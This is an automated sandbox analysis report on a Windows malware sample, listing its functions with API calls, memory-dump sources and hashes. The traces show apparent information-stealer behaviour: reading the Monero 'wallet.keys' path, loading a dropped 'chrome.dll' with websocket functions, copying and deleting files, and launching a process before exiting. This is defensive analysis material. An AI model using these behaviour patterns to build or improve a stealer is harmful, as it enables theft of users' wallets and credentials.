                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$CloseOpenQueryValue
                                    • String ID:
                                    • API String ID: 690832082-0
                                    • Opcode ID: cc2425241400f2db77687c01bf40374eba7d04ea7d27649948dcbc5a87c00705
                                    • Instruction ID: 79bb41568775dc44ff93dcfddc148e661c937ca91785227ee361afb8c55845a8
                                    • Opcode Fuzzy Hash: cc2425241400f2db77687c01bf40374eba7d04ea7d27649948dcbc5a87c00705
                                    • Instruction Fuzzy Hash: 7D4185B690010CABDB14FBE0EC46FEE733CAB89700F044559B71696181FA755B889BE1
                                    Function 00D4CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: dllmain_raw$dllmain_crt_dispatch
                                    • String ID:
                                    • API String ID: 3136044242-0
                                    • Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                    • Instruction ID: 2cb0b4e8fbf2004a76c48312b6ece127f44e2a479b511ebf9fd8699fab44c832
                                    • Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
                                    • Instruction Fuzzy Hash: 4921A172D62658AFDBB19F56CC8197F3A79EB81B90F096119F80967211D7308D418BF0
                                    Function 00CE7F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7FC7
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE7FCE
                                    • RegOpenKeyExA.ADVAPI32(80000002,0158B7E0,00000000,00020119,?), ref: 00CE7FEE
                                    • RegQueryValueExA.ADVAPI32(?,0159D578,00000000,00000000,000000FF,000000FF), ref: 00CE800F
                                    • RegCloseKey.ADVAPI32(?), ref: 00CE8022
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID:
                                    • API String ID: 3225020163-0
                                    • Opcode ID: c768065ea78461bf0ab23b34f082f90c04d2030b3fc6e5f6c264bf329215b829
                                    • Instruction ID: f50245770c9079e16e1ebc1247c3fe40122fb22a24ed55a14ee296e3b4a8e7e4
                                    • Opcode Fuzzy Hash: c768065ea78461bf0ab23b34f082f90c04d2030b3fc6e5f6c264bf329215b829
                                    • Instruction Fuzzy Hash: 1111CEB2A44349EFD700DF85DC89FBFBBB8EB45B10F100119F615A7280D7B458049BA0
                                    Function 00CE93F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • StrStrA.SHLWAPI(0159DE78,00000000,00000000,?,00CD9F71,00000000,0159DE78,00000000), ref: 00CE93FC
                                    • lstrcpyn.KERNEL32(00FA7580,0159DE78,0159DE78,?,00CD9F71,00000000,0159DE78), ref: 00CE9420
                                    • lstrlen.KERNEL32(00000000,?,00CD9F71,00000000,0159DE78), ref: 00CE9437
                                    • wsprintfA.USER32 ref: 00CE9457
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpynlstrlenwsprintf
                                    • String ID: %s%s
                                    • API String ID: 1206339513-3252725368
                                    • Opcode ID: 353b43d4e615ee475fea39b9f3937d79b885ddd1ec11826e24d84261c3472388
                                    • Instruction ID: 7399293263cd75c94291912dbdbf7f35cc3297bf4b2203bc929973f7d5ce5e2e
                                    • Opcode Fuzzy Hash: 353b43d4e615ee475fea39b9f3937d79b885ddd1ec11826e24d84261c3472388
                                    • Instruction Fuzzy Hash: FF01DEB560420CFFCB04EFA8CD44EAE7BB8EB49344F148258F9099B245D731EA41EB90
                                    Function 00CD12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CD12B4
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CD12BB
                                    • RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CD12D7
                                    • RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CD12F5
                                    • RegCloseKey.ADVAPI32(?), ref: 00CD12FF
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                    • String ID:
                                    • API String ID: 3225020163-0
                                    • Opcode ID: e2bb1d1c58ded69db6eb41f5b95e79d5606208b65c1348ea8c3ad7105644e703
                                    • Instruction ID: 2587c81d79a97c6294a66f67b5e963a4ded8fbe2b3259ddfb3158e1e9cdf9b9f
                                    • Opcode Fuzzy Hash: e2bb1d1c58ded69db6eb41f5b95e79d5606208b65c1348ea8c3ad7105644e703
                                    • Instruction Fuzzy Hash: 7E01CDB9A4430DBFDB04DFD4DC49FAE77B8EB49701F104195FA1597280D6709A009B90
                                    Function 00CECB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: String___crt$Type
                                    • String ID:
                                    • API String ID: 2109742289-3916222277
                                    • Opcode ID: 471203aeb596efa482e5f03e70f39d780a32ee5c262476661483ddf8044b7aa7
                                    • Instruction ID: 707eec94f991202fd5db48ece41d446ca6d554aeb49b6c4c4261060fdc7ce42b
                                    • Opcode Fuzzy Hash: 471203aeb596efa482e5f03e70f39d780a32ee5c262476661483ddf8044b7aa7
                                    • Instruction Fuzzy Hash: E741E5B01007DC5FDB318B258DC5FFBBBE89B45704F2444E8E99A96182E2719B46DF60
                                    Function 00CE68D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00CE6903
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00CE69C6
                                    • ExitProcess.KERNEL32 ref: 00CE69F5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
                                    • String ID: <
                                    • API String ID: 1148417306-4251816714
                                    • Opcode ID: 44a16b491e8535ebea2e517601dc89d9a977544a7aa938c3e94e273fd231ffdf
                                    • Instruction ID: 1809f368bc6463f501a2b21e7d62337b303bf3663d58cb8fea0c7bca3a10dcc8
                                    • Opcode Fuzzy Hash: 44a16b491e8535ebea2e517601dc89d9a977544a7aa938c3e94e273fd231ffdf
                                    • Instruction Fuzzy Hash: 583104B1901258AFDB14EBA1DC92FDEB778AF48300F404199F209A6191DF746B48DF69
                                    Function 00CE8950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CF0E10,00000000,?), ref: 00CE89BF
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE89C6
                                    • wsprintfA.USER32 ref: 00CE89E0
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateProcesslstrcpywsprintf
                                    • String ID: %dx%d
                                    • API String ID: 1695172769-2206825331
                                    • Opcode ID: 6210bd41fb16a2d7b2a2417cceb808b1a869691871453d75e0994f8bd1be592a
                                    • Instruction ID: fa82eb29c38ac465c06a337fef50bd464f1edee352149cea235b1b855962c231
                                    • Opcode Fuzzy Hash: 6210bd41fb16a2d7b2a2417cceb808b1a869691871453d75e0994f8bd1be592a
                                    • Instruction Fuzzy Hash: 482130B2A44348AFDB00DF94DD45FAEBBB8FB49710F104159F615A7280C77569009FA1
                                    Function 00CDA090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00CDA098
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: LibraryLoad
                                    • String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
                                    • API String ID: 1029625771-1545816527
                                    • Opcode ID: 3e9939b3ebc8503ee7f5190e29bd0f887245f5edb5fc94b89f8a5714d956583c
                                    • Instruction ID: 2fe728c9a2a88dcb689e47456077d882742db04dc78911a3e28aad2c705c9500
                                    • Opcode Fuzzy Hash: 3e9939b3ebc8503ee7f5190e29bd0f887245f5edb5fc94b89f8a5714d956583c
                                    • Instruction Fuzzy Hash: A6F030F176C30CEFD710BB66EC48F267294E746300F104425E606972A0D7755984EB67
                                    Function 00CE8EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00CE96AE,00000000), ref: 00CE8EEB
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE8EF2
                                    • wsprintfW.USER32 ref: 00CE8F08
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateProcesswsprintf
                                    • String ID: %hs
                                    • API String ID: 769748085-2783943728
                                    • Opcode ID: 4203d748ed8066ee19156984bb3620301332df4fdce2a27a3ccff569f2082b36
                                    • Instruction ID: 62348a8756ec5a31232ee0d241dd2d983a10d86ea8a8bb66b3276aaca71a56a2
                                    • Opcode Fuzzy Hash: 4203d748ed8066ee19156984bb3620301332df4fdce2a27a3ccff569f2082b36
                                    • Instruction Fuzzy Hash: 78E0ECB5A4830DBBDB10EB94DD0AE6D77B8EB46701F100194FE0997381DA719E10AB91
                                    Function 00CDA990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CDAA11
                                    • lstrlen.KERNEL32(00000000,00000000), ref: 00CDAB2F
                                    • lstrlen.KERNEL32(00000000), ref: 00CDADEC
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CDAE73
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
